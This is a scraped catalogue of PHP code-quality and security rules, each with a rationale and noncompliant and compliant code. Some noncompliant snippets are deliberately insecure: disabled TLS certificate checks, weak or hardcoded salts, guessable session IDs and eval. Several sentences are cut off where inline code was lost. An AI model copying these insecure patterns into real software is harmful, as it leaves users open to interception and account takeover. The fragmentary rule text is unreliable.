PSR-4 standard and therefore should no longer rely on Noncompliant Code Examplerequire_once('./modules/vegetable/src/Entity/Tomato.php'); Compliant Solutionuse Drupal\vegetable\Entity\Tomato ExceptionsThis rule doesn't raise issues on |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4830 |
Validation of X.509 certificates is essential to create secure SSL/TLS sessions not vulnerable to man-in-the-middle attacks. The certificate chain validation includes these steps:
It's not recommended to reinvent the wheel by implementing custom certificate chain validation. TLS libraries provide built-in certificate validation functions that should be used. Noncompliant Code Examplecurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // Noncompliant curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0); // Noncompliant Compliant Solutioncurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, TRUE); // Compliant; default value is TRUE curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 1); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4142 |
There are valid cases for passing a variable multiple times into the same method call, but usually doing so is a mistake, and something else was intended for one of the arguments. Noncompliant Code Exampleif (compare($a+$x, $a+$x) != 0) { // Noncompliant //... } if (compare(getValue($a), getValue($a)) != 0) { // Noncompliant // ... } Compliant Solutionif (compare($a+$y, $a+$x) != 0) { //... } $v1 = getValue($a); $v2 = getValue($a); if (compare($v1, $v2) != 0) { // ... } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4143 |
It is highly suspicious when a value is saved for a key or index and then unconditionally overwritten. Such replacements are likely errors. Noncompliant Code Example$someArray[1] = "someValue"; $someArray[1] = "someOtherValue"; // The intention here was probably to write to another array key. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1314 |
Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values. Noncompliant Code Example$myNumber = 023; # Noncompliant myNumber will hold 19, not 23 - was this really expected? Compliant Solution$myNumber = 19; ExceptionsThis rule does not apply to values smaller than 8 and octal values having 3 digits, since 3 digits octal values are often used as file permission masks. Example: $permissionMask = 0777; $dayOfMonth = 03; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5915 |
In PHPUnit, to test that an exception is thrown in a given piece of code, the expectException*() methods or the @expectedException* annotations can be used. For such a test to succeed, something in the test method has to throw an exception with the awaited properties. Having an assertion at the end of such a test method, means that, if the test succeeds, that assertion was never evaluated because an exception was thrown before getting to that point. Noncompliant Code Examplepublic function testA() { $o = new MyClass(); $this->expectException(\Exception::class); $o->doSomething(); $this->assertTrue($o->hasProperty()); // Noncompliant - This assertion might never get evaluated } Compliant Solutionpublic function testA() { $o = new MyClass(); $this->expectException(\Exception::class); $o->doSomething(); } public function testB() { $o = new MyClass(); $this->assertTrue($o->hasProperty()); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1799 |
The But of course PHP can also be used to develop command line application and in such case use of Noncompliant Code Exampleclass Foo { public function bar($param) { if ($param === 42) { exit(23); } } } Compliant Solutionclass Foo { public function bar($param) { if ($param === 42) { throw new Exception('Value 42 is not expected.'); } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4823 |
Using command line arguments is security-sensitive. It has led in the past to the following vulnerabilities: Command line arguments can be dangerous just like any other user input. They should never be used without being first validated and sanitized. Remember also that any user can retrieve the list of processes running on a system, which makes the arguments provided to them visible. Thus passing sensitive information via command line arguments should be considered as insecure. This rule raises an issue when on every program entry points ( Ask Yourself Whether
If you answered yes to any of these questions you are at risk. Recommended Secure Coding PracticesSanitize all command line arguments before using them. Any user or application can list running processes and see the command line arguments they were started with. There are safer ways of providing sensitive information to an application than exposing them in the command line. It is common to write them on the process' standard input, or give the path to a file containing the information. Sensitive Code ExampleBuiltin access to function globfunc() { global $argv; // Sensitive. Reference to global $argv foreach ($argv as $arg) { // Sensitive. // ... } } function myfunc($argv) { $param = $argv[0]; // OK. Reference to local $argv parameter // ... } foreach ($argv as $arg) { // Sensitive. Reference to $argv. // ... } $myargv = $_SERVER['argv']; // Sensitive. Equivalent to $argv. function serve() { $myargv = $_SERVER['argv']; // Sensitive. // ... } myfunc($argv); // Sensitive $myvar = $HTTP_SERVER_VARS[0]; // Sensitive. Note: HTTP_SERVER_VARS has ben removed since PHP 5.4. $options = getopt('a:b:'); // Sensitive. Parsing arguments. $GLOBALS["argv"]; // Sensitive. Equivalent to $argv. function myglobals() { $GLOBALS["argv"]; // Sensitive } $argv = [1,2,3]; // Sensitive. It is a bad idea to override argv. Zend Console new Zend\Console\Getopt(['myopt|m' => 'this is an option']); // Sensitive Getopt-php library new \GetOpt\Option('m', 'myoption', \GetOpt\GetOpt::REQUIRED_ARGUMENT); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4824 |
When a reference is used in a Noncompliant Code Example$arr = array(1, 2, 3); foreach ($arr as &$value) { // Noncompliant; $value is still alive after the loop and references the last item of the array: $arr[2] $value = $value * 2; } $value = 'x'; Compliant Solution$arr = array(1, 2, 3); foreach ($arr as &$value) { // Compliant; there is no risk to use by mistake the content of $value pointing to $arr[2] $value = $value * 2; } unset($value); $value = 'x'; See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4829 |
Reading Standard Input is security-sensitive. It has led in the past to the following vulnerabilities: It is common for attackers to craft inputs enabling them to exploit software vulnerabilities. Thus any data read from the standard input (stdin) can be dangerous and should be validated. This rule flags code that reads from the standard input. Ask Yourself Whether
You are at risk if you answered yes to this question. Recommended Secure Coding PracticesSanitize all data read from the standard input before using it. Sensitive Code Example// Any reference to STDIN is Sensitive $varstdin = STDIN; // Sensitive stream_get_line(STDIN, 40); // Sensitive stream_copy_to_stream(STDIN, STDOUT); // Sensitive // ... // Except those references as they can't create an injection vulnerability. ftruncate(STDIN, 5); // OK ftell(STDIN); // OK feof(STDIN); // OK fseek(STDIN, 5); // OK fclose(STDIN); // OK // STDIN can also be referenced like this $mystdin = 'php://stdin'; // Sensitive file_get_contents('php://stdin'); // Sensitive readfile('php://stdin'); // Sensitive $input = fopen('php://stdin', 'r'); // Sensitive fclose($input); // OK See:
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4828 |
Signalling processes is security-sensitive. It has led in the past to the following vulnerabilities: Sending signals without checking properly which process will receive it can cause a denial of service. Ask Yourself Whether* the PID of the process to which the signal will be sent is coming from an untrusted source. It could for example come from a world-writable file. * users who are asking for the signal to be sent might not have the permission to send those signals. There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices* If the signal is sent because of a user's request. Check that the user is allowed to send this signal. You can for example forbid it if the user doesn't own the process. * Secure the source from which the process PID is read. * Run the process sending the signals with minimal permissions. Sensitive Code Exampleposix_kill(42, 42); // Sensitive See* MITRE, CWE-283 - Unverified Ownership |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S4144 |
When two methods have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other. Noncompliant Code Exampleclass A { private const CODE = "bounteous"; public function getCode() { doTheThing(); return A::CODE; } public function getName() { // Noncompliant doTheThing(); return A::CODE; } } Compliant Solutionclass A { private const CODE = "bounteous"; public function getCode() { doTheThing(); return A::CODE; } public function getName() { return $this->getCode(); } } ExceptionsMethods that are not accessors (getters and setters), with fewer than 2 statements are ignored. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2761 |
Calling the Noncompliant Code Example$a = 0; $b = false; $c = !!$a; // Noncompliant $d = ~~$b; // Noncompliant Compliant Solution$a = 0; $b = false; $c = !$a; // Compliant $d = ~$b; // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1793 |
According to the PSR2 coding standard:
Noncompliant Code Exampleif ($expr1) { ... } else if ($expr2) { ... } else {...} Compliant Solutionif ($expr1) { ... } elseif ($expr2) { ... } else {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3973 |
In the absence of enclosing curly braces, the line immediately after a conditional is the one that is conditionally executed. By both convention and good practice, such lines are indented. In the absence of both curly braces and indentation the intent of the original programmer is entirely unclear and perhaps not actually what is executed. Additionally, such code is highly likely to be confusing to maintainers. Noncompliant Code Exampleif ($x > 0) // Noncompliant doTheThing(); doTheOtherThing(); foo(); Compliant Solutionif ($x > 0) { doTheThing(); doTheOtherThing(); } foo(); or if ($x > 0) doTheThing(); doTheOtherThing(); foo(); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1311 |
The cyclomatic complexity of a class should not exceed a defined threshold. Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain. DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3972 |
Code is clearest when each statement has its own line. Nonetheless, it is a common pattern to combine on the same line an Noncompliant Code Exampleif ($condition1) { // ... } if ($condition2) { // Noncompliant //... } Compliant Solutionif ($condition1) { // ... } elseif ($condition2) { //... } Or if ($condition1) { // ... } if ($condition2) { //... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5911 |
When specifying the class of objects in a catch clause it is important to make sure that the class exists. Since no PHP error will be raised if the class does not exist, this can lead to difficult to debug problems as the catch clause will have no effect and the reason might not be obvious. This mistake often occurs when being in a namespace and catching PHP built-in exception classes without escaping to the global namespace or importing the classes. This rule raises an issue when, being in a namespace, an undefined class belonging to that namespace is caught. Noncompliant Code Examplenamespace Foo\Bar; try { doSomething(); } catch (Exception $e) { // Noncompliant - Exception will never be caught because the class Exception does not exist in the namespace echo $e->message; } Compliant Solutionnamespace Foo\Bar; try { doSomething(); } catch (\Exception $e) { // Compliant used by global namespace echo $e->message; } // or namespace Foo\Bar; use Exception; try { doSomething(); } catch (Exception $e) { // Compliant imported by use statement echo $e->message; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1313 |
Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities: Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:
Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact. Ask Yourself WhetherThe disclosed IP address is sensitive, eg:
There is a risk if you answered yes to any of these questions. Recommended Secure Coding PracticesDon't hard-code the IP address in the source code, instead make it configurable. Sensitive Code Example$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($socket, '8.8.8.8', 23); // Sensitive Compliant Solution$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); socket_connect($socket, IP_ADDRESS, 23); // Compliant ExceptionsNo issue is reported for the following cases because they are not considered sensitive:
See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1105 |
Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when an open curly brace is not placed at the end of a line of code. Noncompliant Code Exampleif(condition) { doSomething(); } Compliant Solutionif(condition) { doSomething(); } ExceptionsWhen blocks are inlined (left and right curly braces on the same line), no issue is triggered. if(condition) {doSomething();} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1226 |
While it is technically correct to assign to parameters from within function bodies, doing so before the parameter value is read is likely a bug. Instead, initial values of parameters should be, if not treated as read-only, then at least read before reassignment. Noncompliant Code Examplefunction foo($str, $array) { $str = "name; // Noncompliant foreach ($array as $item) { $item = "hello world"; // Noncompliant } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1106 |
Shared coding conventions make it possible to collaborate efficiently. This rule makes it mandatory to place the open curly brace at the beginning of a line. Noncompliant Code Examplefunction myMethod() { // Noncompliant if(something) { // Noncompliant executeTask(); } else { //Noncompliant doSomethingElse(); } } Compliant Solutionfunction myMethod() { if(something) { executeTask(); } else { doSomethingElse(); } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1109 |
Shared coding conventions make it possible for a team to efficiently collaborate. This rule makes it mandatory to place a close curly brace at the beginning of a line. Noncompliant Code Exampleif(condition) { doSomething();} Compliant Solutionif(condition) { doSomething(); } ExceptionsWhen blocks are inlined (open and close curly braces on the same line), no issue is triggered. if(condition) {doSomething();} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5708 |
Instances of classes that do not derive from the "Throwable" interface cannot be used in a PHP "throw" statement. Thus, it does not make sense to try to catch such objects within a "try-catch" block. Many built-in exceptions such as "Exception" and the SPL exception classes do implement the "Throwable" interface and can be extended when creating custom exceptions. This rule raises an issue when the classes used to specify the type of objects to be caught in a "try-catch" block do not derive from "Throwable" . Noncompliant Code Exampleclass NoThrowable {} try { foo(); } catch (NoThrowable $e) { // Noncompliant } Compliant Solution<?php class SomeThrowable implements Throwable { // Implementation of the Throwable methods } try { foo(); } catch (SomeThrowable $e) { // Compliant } class SomeCustomException extends Exception {} try { foo(); } catch (SomeCustomException $e) { // Compliant }{code} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1578 |
Shared coding conventions allow teams to collaborate effectively. For that reason, file names should conform to a defined standard. This rule raises an issue when the names of analyzed files don't match the provided regular expression. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5935 |
PHPUnit provides helper functions and annotations to verify that a given block of code throws an exception and to assert different properties of that exception. The provided helper functions are: - expectException() - expectExceptionCode() - expectExceptionMessage() - expectExceptionMessageRegExp() This check raises an issue when the throw of an exception is verified using a try-catch approach instead of relying on the provided helper functions. Noncompliant Code Examplepublic function testA() { try { doSomething(); $this->fail("Assertion should have been thrown"); } catch (MyException $e) { assertEquals("Exception message", $e->getMessage()); } } Compliant Solutionpublic function testB() { $this->expectException(MyException::class); $this->expectExceptionMessage("Exception message"); doSomething(); } SeethePHP.cc: Questioning PHPUnit Best Practice |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1451 |
Each source file should start with a header stating file ownership and the license which must be used to distribute the application. This rule must be fed with the header text that is expected at the beginning of every file. Compliant Solution/* * SonarQube, open source software quality management tool. * Copyright (C) 2008-2013 SonarSource * mailto:contact AT sonarsource DOT com * * SonarQube is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 3 of the License, or (at your option) any later version. * * SonarQube is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, write to the Free Software Foundation, * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1697 |
When either the equality operator in a null test or the logical operator that follows it is reversed, the code has the appearance of safely null-testing the object before dereferencing it. Unfortunately the effect is just the opposite - the object is null-tested and then dereferenced only if it is null, leading to a guaranteed null pointer dereference. Noncompliant Code Exampleif ($obj == null && $obj->isOpen()) { echo "Object is open"; } if ($obj != null || $obj->isOpen()) { echo "Object is not open"; } Compliant Solutionif ($obj == null || $obj->isOpen()) { echo "Object is open"; } if ($obj != null && !$obj->isOpen()) { echo "Object is not open"; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2050 |
Certain functions exist in PHP only as aliases of other functions. These aliases have been made available for backward compatibility, but should really be removed from code. This rule looks for uses of the following aliases:
Noncompliant Code Example$arr=array("apple", "pear","banana"); echo sizeof($arr); // Noncompliant Compliant Solution$arr=array("apple", "pear","banana"); echo count($arr); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2053 |
In cryptography, "salt" is extra piece of data which is included in a hashing algorithm. It makes dictionary attacks more difficult. Using a cryptographic hash function without an unpredictable salt increases the likelihood that an attacker will be able to successfully guess a hashed value such as a password with a dictionary attack. This rule raises an issue when a hashing function which has been specifically designed for hashing sensitive data, such as pbkdf2, is used with a non-random, reused or too short salt value. It does not raise an issue on base hashing algorithms such as sha1 or md5 as these are often used for other purposes. Recommended Secure Coding Practices
Noncompliant Code Examplefunction createMyAccount() { $email = $_GET['email']; $name = $_GET['name']; $password = $_GET['password']; $hash = hash_pbkdf2('sha256', $password, $email, 100000); // Noncompliant; salt (3rd argument) is predictable because initialized with the provided $email $hash = hash_pbkdf2('sha256', $password, '', 100000); // Noncompliant; salt is empty $hash = hash_pbkdf2('sha256', $password, 'D8VxSmTZt2E2YV454mkqAY5e', 100000); // Noncompliant; salt is hardcoded $hash = crypt($password); // Noncompliant; salt is not provided $hash = crypt($password, ""); // Noncompliant; salt is hardcoded $options = [ 'cost' => 11, 'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM), // Noncompliant ; use salt generated by default ]; echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $options); } Compliant Solution$salt = openssl_random_pseudo_bytes(16); $hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1523 |
Executing code dynamically is security-sensitive. It has led in the past to the following vulnerabilities: Some APIs enable the execution of dynamic code by providing it as strings at runtime. These APIs might be useful in some very specific meta-programming use-cases. However most of the time their use is frowned upon as they also increase the risk of Injected Code. Such attacks can either run on the server or in the client (exemple: XSS attack) and have a huge impact on an application's security. This rule marks for review each occurrence of the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesRegarding the execution of unknown code, the best solution is to not run code provided by an untrusted source. If you really need to do it, run the code in a sandboxed environment. Use jails, firewalls and whatever means your operating system and programming language provide (example: Security Managers in java, iframes and same-origin policy for javascript in a web browser). Do not try to create a blacklist of dangerous code. It is impossible to cover all attacks that way. Avoid using dynamic code APIs whenever possible. Hard-coded code is always safer. Noncompliant Code Exampleeval($code_to_be_dynamically_executed) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1765 |
The PHP 4 method of declaring a variable, using the From the PHP Manual:
Noncompliant Code Example<?php class Foo { var $bar = 1; } Compliant Solution<?php class Foo { public $bar = 1; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1766 |
For better readability, do not put multiple property declarations in the same statement. Noncompliant Code Example<?php class Foo { private $bar = 1, $bar2 = 2; } Compliant Solution<?php class Foo { private $bar1 = 1; private $bar2 = 2; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2737 |
A Such clauses should either be eliminated or populated with the appropriate logic. Noncompliant Code Example$s = ""; try { $s = readMyFile($fileName); } catch (Exception $e) { throw $e; // Noncompliant } Compliant Solution$s = ""; try { $s = readMyFile($fileName); } catch (Exception $e) { error_log($e->getMessage()); throw $e; // Compliant } or $s = ""; try { $s = readMyFile($fileName); } catch (Exception $e) { error_log($e->getMessage()); throw new MyException("an exception occurred", 2, $e); // Compliant } or $s = readMyFile($fileName); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S100 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression: function DoSomething(){...} Compliant Solutionfunction doSomething(){...} ExceptionsMethods with an function __construct(){...} function __destruct(){...} /** * {@inheritdoc} */ function myFunc(){...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S101 |
Shared coding conventions allow teams to collaborate effectively. This rule allows to check that all class names match a provided regular expression. Noncompliant Code ExampleWith default provided regular expression class my_class {...} Compliant Solutionclass MyClass {...} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S5328 |
If a session ID can be guessed (not generated with a secure pseudo random generator, or with insufficient length ...) an attacker may be able to hijack another user's session. Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesDon't manually generate session IDs, use instead language based native functionality. Sensitive Code Examplesession_id(bin2hex(random_bytes(4))); // Sensitive: 4 bytes is too short session_id($_POST["session_id"]); // Sensitive: session ID can be specified by the user Compliant Solutionsession_regenerate_id(); ; // Compliant session_id(bin2hex(random_bytes(16))); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1763 |
Some statements ( Noncompliant Code Examplefunction fun($a) { $i = 10; return $i + $a; $i++; // dead code } Compliant Solutionfunction fun($a) { $i = 10; return $i + $a; } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1764 |
Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified. Noncompliant Code Exampleif ( $a == $a ) { // always true doZ(); } if ( $a != $a ) { // always false doY(); } if ( $a == $b && $a == $b ) { // if the first one is true, the second one is too doX(); } if ( $a == $b || $a == $b ) { // if the first one is true, the second one is too doW(); } $j = 5 / 5; //always 1 $k = 5 - 5; //always 0 ExceptionsLeft-shifting 1 onto 1 is common in the construction of bit masks, and is ignored. $i = 1 << 1; // Compliant $j = $a << $a; // Noncompliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1192 |
Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences. On the other hand, constants can be referenced from many places, but only need to be updated in a single place. Noncompliant Code ExampleWith the default threshold of 3: function run() { prepare('this is a duplicate'); // Non-Compliant - 'this is a duplicate' is duplicated 3 times execute('this is a duplicate'); release('this is a duplicate'); } Compliant SolutionMESSAGE = 'this is a duplicate'; function run() { prepare(MESSAGE); execute(MESSAGE); release(MESSAGE); } ExceptionsNo issue will be raised on: * strings with less than 5 characters * strings with only letters, numbers, underscores and hyphens $severity = $request->getParam('severity-score');{code} |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2042 |
A class that grows too much tends to aggregate too many responsibilities, and inevitably becomes harder to understand and to maintain. Above a specific threshold, it is strongly advised to refactor the class into smaller ones which focus on well-defined topics. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2041 |
Noncompliant Code Exampleecho("Hello"); // Noncompliant, but it works echo("Hello", "World"); // Noncompliant. Parse error Compliant Solutionecho "Hello"; echo "Hello","World!"; |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1996 |
A file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. This is doubly true for a file with multiple top-level classes and interfaces. It is strongly advised to divide the file into one top-level class or interface per file. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1997 |
Shared coding conventions allow teams to collaborate efficiently. To avoid the confusion that can be caused by tangling two coding languages in the same file, inline HTML should be avoided. Noncompliant Code Example<?php $name = "George"; ?> <p> Hello <?php echo $name ?>!</p> ExceptionsFile having the extension |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2964 |
Noncompliant Code Exampleif (is_bad_ip($requester)) { sleep(5); // Noncompliant } See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1998 |
Passing a reference to a function parameter means that any modifications the method makes to the parameter will be made to the original value as well, since references have the effect of pointing two variables at the same memory space. This feature can be difficult to use correctly, particularly if the callee is not expecting a reference, and the improper use of references in function calls can make code less efficient rather than more efficient. Further, according to the PHP manual: As of PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated... And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error. Noncompliant Code Examplemyfun(&$name); // Noncompliant Compliant Solutionmyfun($name); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1757 |
Coding conventions allow teams to collaborate effectively. For maximum standardization and readability, PHP code should use the long Noncompliant Code Example<? $foo = 1; ?> Compliant Solution<?php $foo = 1; ?> |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S1075 |
Hard coding a URI makes it difficult to test a program: path literals are not always portable across operating systems, a given absolute path may not exist on a specific test environment, a specified Internet URL may not be available when executing the tests, production environment filesystems usually differ from the development environment, ...etc. For all those reasons, a URI should never be hard coded. Instead, it should be replaced by customizable parameter. Further even if the elements of a URI are obtained dynamically, portability can still be limited if the path-delimiters are hard-coded. This rule raises an issue when URI's or path delimiters are hard coded. See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S2044 |
Both Noncompliant Code Exampleif (php_sapi_name() == 'test') { ... } Compliant Solutionif (PHP_SAPI == 'test') { ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
php:S3011 |
